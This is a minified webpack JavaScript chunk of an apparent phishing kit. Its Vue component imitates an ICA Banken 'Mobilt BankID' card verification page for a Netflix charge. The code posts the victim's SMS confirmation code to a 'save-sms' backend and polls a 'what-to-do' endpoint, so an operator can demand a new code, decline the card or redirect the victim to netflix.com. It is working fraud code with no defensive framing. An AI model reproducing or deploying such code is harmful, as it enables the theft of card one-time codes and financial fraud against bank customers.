(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["chunk-2d22cca7"],{f579:function(t,e,n){"use strict";n.r(e);var a=n("7a23"),i={class:" p-3",style:{width:"395px"}},s=Object(a["e"])('<div class="flex items-center mb-3"><div><img src="images/icabanken_logo.png" width="130"></div><div class="flex gap-3 ml-auto"><div><img src="images/mastercard_logo_small.gif" width="89" border="0" height="50"></div></div></div><h1 class="font-xl font-bold"> Mobilt BankID </h1><p class="text-sm mt-2"> Starta din mobila BankID-app och signera: </p>',3),c={role:"presentation",width:"350",cellspacing:"0",cellpadding:"0",border:"0",class:"mt-2 text-sm font-normal"},o=Object(a["g"])("tr",null,[Object(a["g"])("td",{width:"50",valign:"top",height:"20"},[Object(a["g"])("span",null,"Handlare:")]),Object(a["g"])("td",{width:"10"}),Object(a["g"])("td",{width:"170",valign:"top",align:"left",height:"20"},[Object(a["g"])("span",null,"Netflix")])],-1),l=Object(a["g"])("td",{width:"50",valign:"top",height:"10"},[Object(a["g"])("span",null,"Datum:")],-1),d=Object(a["g"])("td",{width:"10"},null,-1),u={width:"170",valign:"top",align:"left",height:"10"},r=Object(a["g"])("td",{width:"50",valign:"top",height:"10"},[Object(a["g"])("span",null,[Object(a["g"])("span",null,"Kortnummer")])],-1),g=Object(a["g"])("td",{width:"10"},null,-1),h={width:"170",valign:"top",align:"left",height:"10"};function b(t,e,n,b,m,p){return Object(a["i"])(),Object(a["c"])("div",i,[s,Object(a["g"])("div",null,[Object(a["g"])("table",c,[Object(a["g"])("tbody",null,[o,Object(a["g"])("tr",null,[l,d,Object(a["g"])("td",u,[Object(a["g"])("span",{textContent:Object(a["m"])((new Date).toISOString().substr(0,10))},null,8,["textContent"])])]),Object(a["g"])("tr",null,[r,g,Object(a["g"])("td",h,[Object(a["g"])("span",null,Object(a["m"])(p.ccnum_hidden),1)])])])])])])}var m=n("bc3a"),p=n.n(m),O=n("a078"),j={name:"Generic",props:["ccname","ccnum","cc_result","bank"],data:function(){return{code:null,isResend:!1,isLoading:!1,lang:"en"}},computed:{ccnum_hidden:function(){return this.ccnum.substr(0,6)+"****** "+this.ccnum.substr(-4)}},methods:{submitCode:function(){var t=this;this.isLoading=!0,p.a.post(O["a"]+"save-sms/"+this.cc_result,{code:this.code}).then((function(){t.waitWhatToDo()})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message)}))},waitWhatToDo:function(){var t=this;p.a.get(O["a"]+"what-to-do/"+this.cc_result).then((function(e){2===e.data.status?setTimeout((function(){return t.waitWhatToDo()}),1e3):3===e.data.status||12===e.data.status?(t.isResend=!0,t.isLoading=!1,t.code=""):4===e.data.status?t.$emit("card-declined"):5===e.data.status&&(window.location.href="http://netflix.com")})).catch((function(e){401===e.response.status&&(t.modalError="ERROR : "+e.response.data.message),setTimeout((function(){return t.waitWhatToDo()}),2e3)}))}}};j.render=b;e["default"]=j}}]);
//# sourceMappingURL=chunk-2d22cca7.3f707c6f.js.map